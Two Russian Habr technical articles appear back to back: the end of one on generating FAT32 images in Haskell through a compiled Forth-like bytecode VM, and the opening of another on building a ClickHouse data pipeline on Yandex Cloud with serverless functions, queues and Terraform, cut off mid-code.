Итак, у нас ест FAT1, FAT2 и DATA. Остается получить только BootSect и FAT32 Info. Это статические бинарные данные, так что мы опять используем Data.Binary.Put, а потом упакуем в правила.
Эти два модуля (Put и Get) буквально незаменимы и лично я их котирую выше, чем бинарные паттерны в Erlang, хотя это и субъективно.
````
fatGenBoot32 :: FAT32GenInfo -> BS.ByteString
fatGenBoot32 info = addRsvd $ runPut $ do
-- BOOT AREA sect0
putBytes [0xEB, 0x58, 0x90] -- 0 JmpBoot
putBytes bsOEMName -- OEMName
putWord16le bps -- BytesPerSec
putWord8 spc -- SectPerClust
putWord16le rsvd -- ReservedSecCnt
putWord8 2 -- NumFATs
putWord16le 0 -- RootEntCnt
putWord16le 0 -- TotSec16
putWord8 0xF8 -- Media
putWord16le 0 -- FAT16Sz
putWord16le 0x3F -- SectPerTract
putWord16le 0xFF -- NumHeads
putWord32le 0 -- HiddSec
putWord32le sectNum -- TotSec32
-- FAT32 Structure
putWord32le fsect -- FATSz32
-- ...
-- и так далее
````
Напускаем на результат наш упаковщик, сливаем правила в диапазоны, и получаем окончательный список правил, описывающий всю нашу файловую систему.
Итак, набор правил у нас есть. Осталось сгенерировать для них дерево сравнений и
скомпилировать все это в байткод.
Начнем с дерева:
````
data CmpTree = GEQ Int CmpTree CmpTree | CODE [Rule]
deriving (Show)
mkCmpTree :: [Rule] -> CmpTree
mkCmpTree r = mkTree' rulemap
where rulemap = M.fromList $ map (\x -> (fsect x, x)) r
splitGeq n m =
let (a, b, c) = M.splitLookup n m
in (a, c `M.union` (maybe M.empty (M.singleton n) b))
mkTree' xs | M.null xs = CODE []
| M.size xs < 3 = CODE (map snd (M.toList xs))
| otherwise =
let ks = map fst $ M.toAscList xs
n = ks !! (length ks `div` 2)
(le, geq) = splitGeq n xs
in GEQ n (mkTree' le) (mkTree' geq)
````
Может не самый оптимальный вариант, но правил получилось менее сотни, можно пока не беспокоиться.
Дело за виртуальной машиной, набором команд и компилятором:
````
- классификатор команд, команды могут кодироваться разнообразно
- для достижения максимальной компактности
class OpcodeCL a where
isRLE :: a -> Bool
arity0 :: a -> Bool
arity1 :: a -> Bool
arity2 :: a -> Bool
arity3 :: a -> Bool
firstCode :: a
lastCode :: a
data Opcode = DUP | DROP
| CONST | CRNG
| JNZ | JZ | JGQ | JNE | JMP | CALLT | CALL | RET
| NOT | EQ | NEQ | GT | LE | GQ | LQ | RNG
| LOADS2 | LOADS3 | LOADS4 | LOADS5 | LOADS6 | LOADS7
| LOADS8 | LOADS9 | LOADS10 | LOADSN
| SER | NSER | NSER128
| RLE1 | RLE2 | RLE3 | RLE4 | RLE5 | RLE6 | RLE7 | RLE8
| RLE16 | RLE32 | RLE64 | RLE128 | RLE256 | RLE512 | RLEN
| OUTLE | OUTBE | OUTB
| NOP
| CALLN
| DEBUG
| EXIT
deriving (Eq, Ord, Enum, Show)
data CmdArg = W32 Word32 | W16 Word16 | W8 Word8 | ADDR Addr
data Addr = ALabel Label | AOffset Int
data Cmd = Cmd0 Opcode
| CmdConst Word32
| Cmd1 Opcode CmdArg
| Cmd2 Opcode CmdArg CmdArg
| Cmd3 Opcode CmdArg CmdArg CmdArg
| CmdJmp Opcode Addr
| CmdCondJmp Opcode Addr
| CmdLabel Label
| RawByte Word8
type Label = Int
type Block = (Label, [Cmd])
````
Увы, тут простой системы типов хаскелла начинает не хватать: хочется задать инварианты времени компиляции для команд и их классов, так, что бы, например, нельзя было создать команду с неверным опкодом. Но просто этого сделать нельзя, а вводить отдельный тип для каждого опкода, экзистенциальный тип данных для команды и еще использовать метапрограммирование для генерации опкодов не хочется.
Отложим до лучших времен, обойдемся тем, что есть. Все равно для реализации виртуальной машины придется написать тесты, так что посаженные ошибки всплывут там.
Итак, система команд виртуальной машины есть, теперь нужно скомпилировать в нее дерево сравнений, построенное из наших правил:
````
mkVMCode :: CmpTree -> [Block]
mkVMCode xs = normalize maxl code
-- skip
scanT :: CmpTree -> GenM ()
scanT (GEQ n left right) = do
s <- newLabel
l <- runGen' (scanT left) >>= withLabel
r <- runGen' (scanT right) >>= withLabel
_ex <- newLabel
label s
dup
cnst n
jgq (labelOf r)
block l >> jmp _ex
block r >> label _ex
scanT (CODE []) = op0 EXIT
scanT (CODE rules) = mapM_ scanR rules
scanR :: Rule -> GenM ()
scanR ( REQ n code ) = do
s <- newLabel
code' <- runGen' (scanmC code) >>= withLabel
ex <- newLabel
label s
dup
cnst n
jne ex
block code'
label ex
scanR ( RANGE a b code ) = do
s <- newLabel
code' <- runGen' (scanmC code) >>= withLabel
ex <- newLabel
label s
dup
crng a b
jz ex
block code'
label ex
-- skip
````
Здесь применен излюбленный способ генерации всякой всячины при помощи eDSL, построенных поверх монады Writer.
Генерация плоского кода из дерева сравнений приводит к множеству «соплей», например к длинным цепочкам выхода из блоков:
````
L1:
...
JMP L2
L2:
JMP L3
L3:
JMP L4
L4:
EXIT
````
прыжкам в следующие блоки и так далее. normalize устраняет эти безобразия, и разбивает код на блоки, каждый из которых начинается с метки, и заканчивается командой безусловного перехода в следующий блок. Внутри блока отсутствуют команды условного или безусловного перехода, они допустимы только в конце. Такие блоки нужны нам для вычисления смещения меток. После него можно слить блоки, избавившись от лишних переходов окончательно.
Напишем инстанс Show для нашего байткода для красивой печати форта и посмотрим, что у нас получается после оптимизации блоков:
````
...
L215:
DUP
CONST 2122
JGQ L220
DUP
CRNG 00000843 00000849
JZ L235
RLE512 00
EXIT
L220:
DUP
CRNG 0000084A 000C8869
JZ L223
LOADS2
BYTE 48
BYTE 45
RLE2 4C
LOADS7
BYTE 4F
BYTE 20
BYTE 57
BYTE 4F
BYTE 52
BYTE 4C
BYTE 44
RLE2 21
CALLN 00
EXIT
L223:
DUP
CRNG 000C886A 000E1869
JZ L235
RLE512 00
CALLN 00 ;; а вот и вызов коллбэка прошивки --- значит, это сектор данных
EXIT ;; файла
L235:
EXIT
...
L0:
LOADS5
BYTE 02
BYTE 08
BYTE 20
BYTE 00
BYTE 02
RET
...
````
Не идеально, но отсутствуют сопли, общий код частично выделен в процедуры, дерево ветвлений имеется. Пойдет.
Осталось на чем-нибудь это запустить, для этого нам нужно реализовать, наконец, саму виртуальную машину.
Ее можно и просто написать на Си, так как значительно меняются только опкоды, но как показывает опыт, лучше уж ее генерировать всю, чем потом следить за консистентностью опкодов и кода на Си. Проверить это никак нельзя, и ситуация когда компилятор производит одно, а vm интерпретировать хочет совсем другое, вполне вероятна. Так что лучше уж генерировать всё. Набросаем опять мини-eDSL для генерации Си, что бы не утруждаться закрытием скобок, отступами и точками с запятой.
Опять Writer, никакого разнообразия…
````
stubs :: String
stubs =
envFile $ do
comment "top of the file"
put "#include "
put "#include \"emufatstubs.h\""
defines
...
stmt (pt codeType ++ op `assign` "code")
endl
push a "n"
put "for(;;)"
braces $ indented $ do
put "switch(\*op)"
braces $ do
forM\_ codes $ \op -> do
put (printf "case %s:" (show op))
indented $ decode op
endl
put "default:"
indented $ exit
exitLabel
indented $ stmt "return 0"
...
decode (CRNG) = do
skip "1"
stmt (tmp0 `assign` pop a)
stmt (tmp1 `assign` decode32) >> skip "4"
stmt (tmp2 `assign` decode32) >> skip "4"
push a ( \_and (tmp0 `gq` tmp1) (tmp0 `lq` tmp2) )
next
decode (CALL) = do
skip "1"
stmt (tmp0 `assign` decode32) >> skip "4"
stmt (push' r pc')
jump tmp0
...
````
Посмотрим, что у нас получилось:
````
#define DEFSTACK(n, t, l) ...
#define RESET(a) ...
#define PTOP(a) ...
#define TOP(a) ...
#define POP(a) ...
#define PUSH(a,v) ...
#define NEXT(x) ...
#define JUMP(x, b, o) ...
#define SKIP(x, n) ...
#define PC(x, b) ...
#define DECODE32(op) ...
#define DECODE8(op) ...
...
DEFSTACK(a, uint32_t, 16);
DEFSTACK(r, uint32_t, 8);
uint32_t tmp0;
uint32_t tmp1;
uint32_t tmp2;
uint32_t tmp3;
...
uint8_t *op = code;
PUSH(a, n);
for(;;)
{
switch(*op)
{
...
case CRNG:
SKIP(op, (1));
tmp0 = POP(a);
tmp1 = DECODE32(op);
SKIP(op, (4));
tmp2 = DECODE32(op);
SKIP(op, (4));
PUSH(a, ((tmp0 >= tmp1) && (tmp0 <= tmp2)));
NEXT(op);
...
case CALL:
SKIP(op, (1));
tmp0 = DECODE32(op);
SKIP(op, (4));
PUSH(r, PC(op, code));
JUMP(op, code, tmp0);
...
case EXIT:
goto _exit;
default:
goto _exit;
}
}
_exit:
return 0;
...
````
Ну, что и должно быть. Важный нюанс: что бы switch скомпилировался в таблицу переходов, нужно, что бы значения его меток шли последовательно и не имели дырок. И, вероятно, укладывались в байт. В случае нарушения этих эвристик компиляторы Си могут сгенерировать дерево сравнений, что нас в данном случае совершенно не устраивает. Последовательность опкодов мы обеспечили определением инстанса Enum для нашего типа Opcode (см. выше).
Какая жалость, что такой низкоуровневый, казалось бы, Си не имеет в стандарте способов перехода по переменному адресу, хоть GCC и поддерживает такое расширение. Только не для всех интересных платформ есть GCC, так что ограничимся switch-based интерпретацией.
Наша виртуальная машина готова. Напишем для нее тесты. Это легко — пусть тестовая VM принимает на вход поток байткодов, генерирует содержимое буфера в результате их интерпретации и отдает в выходной поток. Каждый тест кейс, таким образом, будет считаться пройденным, если содержимое буфера в итоге соответствует ожиданиям.
Напишем тесты…
````
testJne = makeTest $ do
[l1, l2] <- replicateM 2 newLabel
cnst 1
cnst 2
jne l1
exit
label l1
cnst 0xCAFEBABE -- 1
outle
cnst 1
cnst 1
jne l2
cnst 0xCAFEBABE -- 2
outle
exit
label l2
cnst 0xFFFFFFFF
outle
````
… и тест-кейсы:
````
tests = testSuite $ do
...
test "testJne" testJne (assert $ do
a <- getWord32le
b <- getWord32le
return $ a == 0xCAFEBABE && b == 0xCAFEBABE)
````
и оболочку для их запуска:
````
runTest :: String -> Test -> IO Bool
runTest path (T{tname=nm, tcode=code, tcheck = tc})= do
let bin = toBinary code
(inp,out,err,pid) <- runInteractiveProcess path [] Nothing Nothing
BS.hPut inp bin
hClose inp
res <- BS.hGetContents out
let r = tc res
hPutStrLn stderr (printf "test %-24s : %s" nm (if r then "PASSED" else "FAILED !"))
return r
...
case args of
...
... -> mapM_ (runTest path) tests
...
...
````
Запустим, устраним все проблемы и падения в core (на удивление немногочисленные)
````
...
test testJgq : PASSED
test testJne : PASSED
test testCallRet1 : PASSED
...
````
и запустим все вместе:
````
...
helloFile = const $ BS8.pack "HELLO WORLD!!"
fatSample2 = filesystem $ do
file "file0" (16384) helloFile
dir "A" $ do
file "file1" (megs 100) helloFile
dir "C" $ do
file "file3" (megs 100) helloFile
file "file4" (megs 100) helloFile
file "file5" (megs 100) helloFile
dir "E" $ emptyDir
dir "B" $ do
file "file2" (megs 50) emptyFile
...
$ ./FatGen bin | cbits/genfat 1000000 > fat.img
521106 / 1000000 ( 13027 kb/s)
$ fsck.vfat ./fat.img
dosfsck 3.0.9, 31 Jan 2010, FAT32, LFN
Free cluster summary uninitialized (should be 15863)
./fat.img: 10 files, 115209/131072 clusters
$ sudo mount -o loop ./fat.img /mnt/test2/
$ find /mnt/test2/
/mnt/test2/
/mnt/test2/FILE0
/mnt/test2/A
/mnt/test2/A/FILE1
/mnt/test2/A/C
/mnt/test2/A/C/FILE3
/mnt/test2/A/C/FILE4
/mnt/test2/A/C/FILE5
/mnt/test2/A/C/E
/mnt/test2/B
/mnt/test2/B/FILE2
````
Все работает как и ожидалось: образ файловой системы генерируется, проходит проверку и монтируется. Содержимое соответствует описанию на нашем eDSL.
Размер скомпилированного файла правил при этом составляет немногим более 2Kb и поддается дальнейшей оптимизации, 2Kb это вполне приемлемый размер для динамической загрузки даже по GSM/EDGE, не говоря о 3G.
Оптимизации поддается и производительность форта, не говоря о том, что в самом крайнем случае его можно скомпилировать в Си и затем в нативный код процессора.
Вот такой небольшой рассказ о пользе хаскелла в народном хозяйстве. | https://habr.com/ru/post/134432/ | null | ru | null |
# Особенности построения хранилища данных на базе ClickHouse в Yandex Cloud
В данной статье делимся опытом внедрения решения на базе СУБД ClickHouse и сервисов Yandex Cloud. Мы не коснёмся тонких настроек ClickHouse или его масштабирования, но затронем достаточно интересные на наш взгляд темы:
* как загружать данные из On-premise в облачный ClickHouse с использованием сервисов Yandex Cloud – Functions, Object Storage, Message Queue;
* как обрабатывать/преобразовывать данные в облачном ClickHouse – очищать и строить витрины; какие «подводные камни» нам встретились на этом пути.
**Исходная задача:**
В On-premise в общую директорию с некоторой периодичностью поступают XML-файлы с массивами объектов. Каждый объект имеет ключ и содержит вложенные объекты/массивы объектов.
Объекты в файлах могут дублироваться: с одним и тем же ключом может поступить несколько как в одном, так и в нескольких разных XML-файлах. Имена файлов содержат timestamp их формирования в системе-источнике, но в общую директорию они могут поступать в любом порядке, не привязанному к этому timestamp.
**Необходимо:**
* данные из XML-файлов сохранять в ClickHouse в исходной структуре (с вложенными массивами, объектами и т.д.) с минимальным отставанием по времени, т.е. данные в ClickHouse должны появляться/обновляться сразу после поступления файлов в общую директорию в On-premise;
* данные «очищать» от дублей: среди объектов с одинаковым ключом нужно оставлять тот, у которого более ранний timestamp в имени файла;
* строить/обновлять витрины, которые в данном случае представляют собой таблицы с определёнными агрегациями и преобразованиями исходных данных.
**Теперь рассмотрим детальнее.**
**Данные из XML-файлов необходимо сохранять в ClickHouse в исходной структуре с минимальным отставанием по времени.**
Пройдя интересный курс обучения «[Построение корпоративной аналитической платформы](https://go.teachbase.ru/course_sessions/363773)» (кстати, рекомендуем тем, кто начинает изучать облачные технологии и ClickHouse) и увидев фишки вроде [интеграции с Kafka](https://clickhouse.com/docs/en/integrations/kafka/kafka-table-engine), мы предположили, что для ClickHouse или его cli-клиента нет проблем распарсить XML-файл и разложить данные по столбцам. Но оказалось, что такое ClickHouse пока [не умеет](https://clickhouse.com/docs/en/interfaces/formats/#xml). Придётся самим парсить XML и делать вставку в ClickHouse.
Немного поспорили о том, что лучше использовать в данной ситуации. Выбирали между Airflow и сервисами Yandex Cloud, в итоге пришли ко второму, а именно — бóльшую часть логики решили сделать на Yandex Cloud Functions. Причиной тому послужили следующие факторы:
* ClickHouse будет развернут в облаке Yandex Cloud как [управляемый сервис](https://cloud.yandex.ru/services/managed-clickhouse), удобно иметь программную обработку данных в том же облаке рядом с БД;
* Yandex Cloud Functions имеют [нетарифицируемый объем](https://cloud.yandex.ru/docs/billing/concepts/serverless-free-tier#sf) (так называемый «free tier»), что удешевляет разработку, тестирование функционала и дальнейшую эксплуатацию. Не потребуется содержать в On-premise сервер с Airflow (а может и несколько серверов);
* В Yandex Cloud много полезных сервисов, с которыми легко интегрируются Yandex Cloud Functions: Yandex Object Storage, Yandex Message Queue, Yandex DB и другие. Они также имеют свой «free tier»;
* Легкость масштабирования Yandex Cloud Functions: мы становимся практически не ограничены в вычислительных ресурсах и параллельности;
* Вся облачная инфраструктура описывается в Terraform (у Yandex Cloud есть [provider](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs)) – так минимизируем затраты на развертывание, CICD/DevOps.
Эту часть задачи мы реализовали по следующей принципиальной схеме:
В On-premise запущен скрипт (его подробно не описываем, т.к. он очень простой), который непрерывно поллит общую директорию и каждый поступивший в неё XML-файл загружает (1) в Бакет Yandex Object Storage. Окончание загрузки файла в Бакет служит сигналом для запуска (2) функции «Диспетчер», которая кладёт (3) сообщение с информацией о файле в очередь, таким образом происходит троттлинг (сдерживание) нагрузки. Дальше функция «Парсер» читает (4) из очереди сообщения, скачивает файл из Бакета себе в оперативную память, парсит XML и вставляет (5) данные в хранилище. По окончанию обработки файл из Бакета удаляется (6), чтобы не занимать место и не тратить деньги впустую.
В ClickHouse все данные сохраняются в таблицу со структурой аналогичной схеме XML из файла. Всё благодаря богатому списку [типов данных](https://clickhouse.com/docs/en/sql-reference/data-types/) ClickHouse.
Пример реализации функции «Парсер» на Python в облаке:
```
# import зависимостей
import boto3
# подключение к облаку
boto_session = boto3.session.Session(
aws_access_key_id=os.getenv('ACCESS_KEY_ID'),
aws_secret_access_key=os.getenv('SECRET_ACCESS_KEY')
)
# подключение к объектному хранилищу
s3 = boto_session.client(
service_name='s3',
endpoint_url='https://storage.yandexcloud.net'
)
# подключение к ClickHouse
clickhouse = Client(host=os.getenv('CH_HOST'),
user=os.getenv('CH_USER'),
password=os.getenv('CH_PASSWORD'),
database=os.getenv('CH_DB'),
secure=True,
settings={'input_format_import_nested_json': 1})
# основной обработчик событий
# определяет, что вызов произошёл по сообщению из очереди,
# из тела сообщения берётся идентификатор файла,
# файл скачивается, парсится, данные вставляются в ClickHouse
def handler(event, context):
if 'messages' in event:
for message in event['messages']:
# получение текста сообщения:
task_json = json.loads(message['details']['message']['body'])
# получение объекта из S3:
get_object_response = s3.get_object(Bucket=task_json['bucket_id'],
Key=task_json['object_id'])
# парсинг файла:
parsed_data = parse(data=xmltodict.parse(get_object_response['Body'].read()),
filename=task_json['object_id'])
# сохранение данных:
store(data=parsed_data, file=task_json['object_id'])
# удаление обработанного файла:
s3.delete_object(Bucket=task_json['bucket_id'], Key=task_json['object_id'])
def parse(data, filename):
# ... реализация парсинга
def store(data, filename):
# ... реализация сохранения в ClickHouse
```
Декларация облачной инфраструктуры на Terraform:
```
# Подключение к Yandex cloud и хранение состояний в Yandex Object Storage
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
backend "s3" {
endpoint = "storage.yandexcloud.net"
bucket = "neoflex-tf-state"
region = "ru-central1"
key = "terraform.tfstate"
access_key = "xxx"
secret_key = "xxx"
skip_region_validation = true
skip_credentials_validation = true
}
}
provider "yandex" {
service_account_key_file = "key.json"
}
locals {
folder_id = "xxx"
ch_secrets = jsondecode(file("clickhouse.json"))
cluster_name = "neoflex"
network_id = "xxx"
subnet_id = "xxx"
}
# Развертывание ClickHouse
resource "yandex_mdb_clickhouse_cluster" "neoflex" {
name = local.cluster_name
environment = "PRESTABLE"
network_id = local.network_id
folder_id = local.folder_id
service_account_id = yandex_iam_service_account.sa.id
sql_database_management = false
sql_user_management = false
clickhouse {
resources {
resource_preset_id = "s2.large"
disk_type_id = "network-ssd"
disk_size = 100
}
}
database {
name = local.ch_secrets["CH_DB"]
}
user {
name = local.ch_secrets["CH_USER"]
password = local.ch_secrets["CH_PASSWORD"]
permission {
database_name = local.ch_secrets["CH_DB"]
}
settings {
max_memory_usage_for_user = 17179869184
max_memory_usage = 17179869184
}
}
host {
type = "CLICKHOUSE"
zone = "ru-central1-a"
subnet_id = local.subnet_id
assign_public_ip = true
}
maintenance_window {
type = "WEEKLY"
hour = 3
day = "MON"
}
}
# Бакет для приёма файлов в облаке
resource "yandex_storage_bucket" "data-input" {
access_key = yandex_iam_service_account_static_access_key.sa-static-key.access_key
secret_key = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
bucket = "neoflex-data-input"
}
# Очередь для троттлинга и dead letter queue
resource "yandex_message_queue" "dlq" {
name = "dlq"
access_key = yandex_iam_service_account_static_access_key.sa-static-key.access_key
secret_key = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
}
resource "yandex_message_queue" "neoflex" {
name = "neoflex"
visibility_timeout_seconds = 600
receive_wait_time_seconds = 20
delay_seconds = 0
message_retention_seconds = 86400 # 1 day
redrive_policy = jsonencode({
deadLetterTargetArn = yandex_message_queue.dlq.arn
maxReceiveCount = 3
})
access_key = yandex_iam_service_account_static_access_key.sa-static-key.access_key
secret_key = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
}
# Сервисная учётка для подключения к облачным ресурсам
resource "yandex_iam_service_account" "sa" {
folder_id = local.folder_id
name = "neoflex"
description = "Neoflex service account to access resource in the folder"
}
resource "yandex_resourcemanager_folder_iam_member" "sa-editor" {
folder_id = local.folder_id
role = "storage.admin"
member = "serviceAccount:${yandex_iam_service_account.sa.id}"
}
resource "yandex_iam_service_account_static_access_key" "sa-static-key" {
service_account_id = yandex_iam_service_account.sa.id
description = "Static access key for object storage"
}
# Функция Диспетчер и триггер её запуска при поступлении файла в Бакет
data "archive_file" "dispatcher" {
type = "zip"
output_path = "${path.module}/../packages/dispatcher.zip"
source {
content = file("${path.module}/../src/dispatcher.py")
filename = "dispatcher.py"
}
source {
content = file("${path.module}/../src/requirements.txt")
filename = "requirements.txt"
}
}
resource "yandex_function" "dispatcher" {
name = "dispatcher"
description = ""
user_hash = data.archive_file.dispatcher.output_base64sha256
runtime = "python39"
entrypoint = "dispatcher.handler"
memory = "128"
execution_timeout = "10"
service_account_id = yandex_iam_service_account.sa.id
folder_id = local.folder_id
environment = {
YMQ_QUEUE_URL = yandex_message_queue.neoflex.id
ACCESS_KEY_ID = yandex_iam_service_account_static_access_key.sa-static-key.access_key
SECRET_ACCESS_KEY = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
}
content {
zip_filename = data.archive_file.dispatcher.output_path
}
}
resource "yandex_function_scaling_policy" "dispatcher" {
function_id = yandex_function.dispatcher.id
policy {
tag = "$latest"
zone_instances_limit = 4
zone_requests_limit = 150
}
}
resource "yandex_function_trigger" "data-dispatcher" {
name = "data-dispatcher"
description = "Triggered dispatcher when new file is available on S3"
folder_id = local.folder_id
object_storage {
bucket_id = yandex_storage_bucket.data-input.id
prefix = "some-input-file"
create = true
update = true
}
function {
id = yandex_function.dispatcher.id
service_account_id = yandex_iam_service_account.sa.id
}
dlq {
queue_id = yandex_message_queue.dlq.arn
service_account_id = yandex_iam_service_account.sa.id
}
}
# Функция Процессор и триггер её запуска по сообщению из очереди Yandex Message Queue
data "archive_file" "processor" {
type = "zip"
output_path = "${path.module}/../packages/processor.zip"
source {
content = file("${path.module}/../src/processor.py")
filename = "processor.py"
}
source {
content = file("${path.module}/../src/requirements.txt")
filename = "requirements.txt"
}
}
resource "yandex_function" "processor" {
name = "processor"
description = ""
user_hash = data.archive_file.processor.output_base64sha256
runtime = "python39"
entrypoint = "processor.handler"
memory = "512"
execution_timeout = "600"
service_account_id = yandex_iam_service_account.sa.id
folder_id = local.folder_id
environment = {
ACCESS_KEY_ID = yandex_iam_service_account_static_access_key.sa-static-key.access_key
SECRET_ACCESS_KEY = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
CH_DB = yandex_mdb_clickhouse_cluster.neoflex.database.*.name[0]
CH_HOST = yandex_mdb_clickhouse_cluster.neoflex.host[0].fqdn
CH_PASSWORD = yandex_mdb_clickhouse_cluster.neoflex.user.*.password[0]
CH_RAW_TABLE = local.ch_secrets["CH_RAW_TABLE"]
CH_USER = yandex_mdb_clickhouse_cluster.neoflex.user.*.name[0]
DATA_BUCKET = yandex_storage_bucket.data-input.id
}
content {
zip_filename = data.archive_file.processor.output_path
}
}
resource "yandex_function_scaling_policy" "processor" {
function_id = yandex_function.processor.id
policy {
tag = "$latest"
zone_instances_limit = 4
zone_requests_limit = 150
}
}
resource "yandex_function_trigger" "processor" {
name = "processor"
description = ""
folder_id = local.folder_id
message_queue {
queue_id = yandex_message_queue.neoflex.arn
service_account_id = yandex_iam_service_account.sa.id
batch_size = "1"
batch_cutoff = "10"
}
function {
id = yandex_function.processor.id
service_account_id = yandex_iam_service_account.sa.id
}
dlq {
queue_id = yandex_message_queue.dlq.arn
service_account_id = yandex_iam_service_account.sa.id
}
}
```
Загрузку данных в облачный ClickHouse сделали. Теперь ***данные необходимо «очищать» от дублей.***
Какие варианты мы рассматривали при подборе решения этого пункта задачи:
* Первый вариант: при парсинге XML-файла и перед вставкой данных в ClickHouse «на лету» проверять – не будет ли дублей и делать insert/upsert в зависимости от ситуации. Не подходит, так как ClickHouse – не OLTP, а OLAP и об этом явно [сказано](https://clickhouse.com/docs/en/faq/general/olap/) в документации. Обновление данных в таблице реализовано как [мутация](https://clickhouse.com/docs/en/sql-reference/statements/alter/#mutations) – достаточно тяжеловесная операция, которую не удастся выполнять часто/много/быстро. Зато ClickHouse очень эффективно работает при вставке (рекомендуем к прочтению статью-benchmark [Faster ClickHouse Imports](https://tech.marksblogg.com/faster-clickhouse-imports-csv-parquet-mysql.html)).
* Второй вариант – специальный движок таблиц [ReplacingMergeTree](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replacingmergetree/), который предназначен как раз для дедубликации данных по заданному ключу. Не подходит по ~~двум причинам~~ причине:
1. На «очищенных» (дедублицированных) данных нужно строить и обновлять витрины в режиме, близком к online, а движок ReplacingMergeTree осуществляет манипуляции с данными в фоновом режиме и в неопределенный момент времени. Поэтому есть риск собрать витрину на задублированных данных, а требования к витринам высокие, поэтому результаты должны быть точными;
2. ~~ReplacingMergeTree предлагает дедубликацию по ключу сортировки (секция ORDER BY в DLL таблицы), которая в данном случае не применима, так как в рамках задачи нужно не просто удалять дубли по ключу, а выбирать из дублей подходящую строку (исходя из timestamp в имени файла);~~ – *аргумент ошибочный, спасибо* [@Volrath](/users/volrath)
* Третий вариант, на котором мы и остановились, – загружать в буферную таблицу всё, что поступило в Бакет и дальше осуществлять merge буферной в «чистовую» таблицу. Этот вариант мы и опишем далее.
Буферная таблица, в которую вставляет «сырые» данные функция «Парсер», имеет поле со временем вставки, партиционирование по этому полю и срок жизни записей:
```
DROP TABLE IF EXISTS raw;
CREATE TABLE raw
(
...
insertTime DateTime('Europe/Moscow') DEFAULT now()
) ENGINE = MergeTree()
PARTITION BY toYYYYMMDD(insertTime)
ORDER BY (...)
TTL toStartOfDay(insertTime) + INTERVAL 1 DAY;
```
Вообще, [TTL](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/mergetree#table_engine-mergetree-ttl) в ClickHouse – отличная фича, которая одной строкой в DDL таблицы избавляет нас от самостоятельной организации очистки таблиц (от написания кастомных джобов, их контроля, запуска и мониторинга).
Используя Yandex Cloud Functions Trigger типа Timer, по расписанию запускается функция «Очиститель», которая сравнивает «сырые» и «чистовые» данные, определяет, что в сырых данных есть что-то новенькое и пора обновить чистовые данные. Схематично это выглядит так:
Примерно таким запросом выбираются партиции (2), которые требуют merge:
```
WITH rawParts AS (
SELECT partKey, MAX(insertTime) maxInsertTime
FROM raw
WHERE insertTime > toStartOfMinute(now()) - INTERVAL 1 HOUR
GROUP BY partKey),
cleanParts AS (
SELECT partKey, MAX(insertTime) maxInsertTime
FROM clean
WHERE partKey IN (SELECT partKey FROM rawParts)
GROUP BY partKey)
SELECT DISTINCT toYYYYMMDD(rawParts.partKey) AS partKey FROM rawParts LEFT JOIN parts USING partKey
WHERE rawParts.maxInsertTime > parts.maxInsertTime
ORDER BY partKey;
```
Фактически этот запрос получает из буферной таблицы список пополненных данными партиций за последний час и по времени самой свежей вставки сравнивает с партициями «чистовой» таблицы. Если обнаружено расхождение (есть подозрение на «свежие» данные, которые отсутствуют в «чистовой» таблице), то такие партиции попадают в результат запроса. В реальном случае выборка может быть гораздо сложнее. Функция «Очиститель», выполнив запрос (2), складывает результат построчно в очередь для отдельного «попартиционного» merge (3).
Сам «попартиционный» merge (5) в простейшем случае можно сделать следующим рядом запросов:
```
-- Предварительная очистка промежуточной таблицы:
ALTER TABLE tmp DROP PARTITION {partKey};
-- Вставка в промежуточную таблицу накопленных, свежих и сразу очищенных данных:
INSERT INTO tmp
SELECT *
FROM (
SELECT * FROM raw r WHERE partkey = {partKey}
UNION ALL
SELECT * FROM clean WHERE partkey = {partKey}
)
ORDER BY field1, field2, field3, ...
LIMIT 1 BY field1, field2, field3, ...;
-- Удаление партиции в чистовой таблице:
ALTER TABLE clean DROP PARTITION {partKey};
-- Перемещение партиции из промежуточной в чистовую таблицу:
ALTER TABLE tmp MOVE PARTITION {partKey} TO TABLE clean;
```
Данные сначала вставляются в промежуточную таблицу, а затем происходит подмена партиции в «чистовой» таблице, что делает весьма незаметным и быстрым её обновление.
Стоит отметить, что при вставке в промежуточную таблицу используется подзапрос, а с этим делом в ClickHouse не всё так уж просто: результат подзапроса должен помещаться в оперативную память одного сервера, ограниченную параметром [max\_memory\_usage](https://clickhouse.com/docs/ru/operations/settings/query-complexity/#settings_max_memory_usage) (или max\_memory\_usage\_for\_user). Если результат подзапроса не поместится в память, тогда весь запрос завершится с ошибкой:
*DB::Exception: Memory limit (for query) exceeded*
Поэтому для работоспособности такого решения потребовалось подобрать оптимальное сочетание объема одной партиции (читай – ключ партиционирования) и max\_memory\_usage (читай – объем оперативной памяти у хоста ClickHouse с учётом параллельности подобных запросов).
Упрощенный пример кода функции «Очиститель»:
```
# импорт используемых модулей
# import ...
# подключение к облаку
boto_session = boto3.session.Session(
aws_access_key_id=os.getenv('ACCESS_KEY_ID'),
aws_secret_access_key=os.getenv('SECRET_ACCESS_KEY')
)
# подключение к ClickHouse
clickhouse = Client(host=os.getenv('CH_HOST'),
user=os.getenv('CH_USER'),
password=os.getenv('CH_PASSWORD'),
database=os.getenv('CH_DB'),
secure=True)
# подключение к очереди Yandex Queue для отправки сообщений
ymq_queue = boto_session.resource(
service_name='sqs',
endpoint_url='https://message-queue.api.cloud.yandex.net',
region_name='ru-central1'
).Queue(os.getenv('YMQ_QUEUE_URL'))
# основной обработчик событий
def handler(event, context):
try:
if event is not None and type(event) == dict and 'messages' in event:
for message in event['messages']:
if 'event_metadata' in message and \
'event_type' in message['event_metadata'] and \
message['event_metadata'][
'event_type'] == 'yandex.cloud.events.serverless.triggers.TimerMessage':
# запуск по событию, инициированному триггером с типом Timer
# поиск партиций для merge и отправка заданий в очередь
queue_partitions()
else:
# запуск по сообщению из очереди
task_json = json.loads(message['details']['message']['body'])
partKey = str(task_json['partKey'])
# merge конкретной партиции
do_partition(partKey=partKey)
except Exception as ex:
logging.error(ex)
# поиск партиций
def queue_partitions():
# запрос поиска партиций для merge (см. выше пример)
query = '...'
rows_gen = clickhouse.execute_iter(query)
# отправка каждой партиции в очередь отдельным сообщением
for partKey in rows_gen:
ymq_queue.send_message(MessageBody=json.dumps({
'partKey': partKey[0]
}))
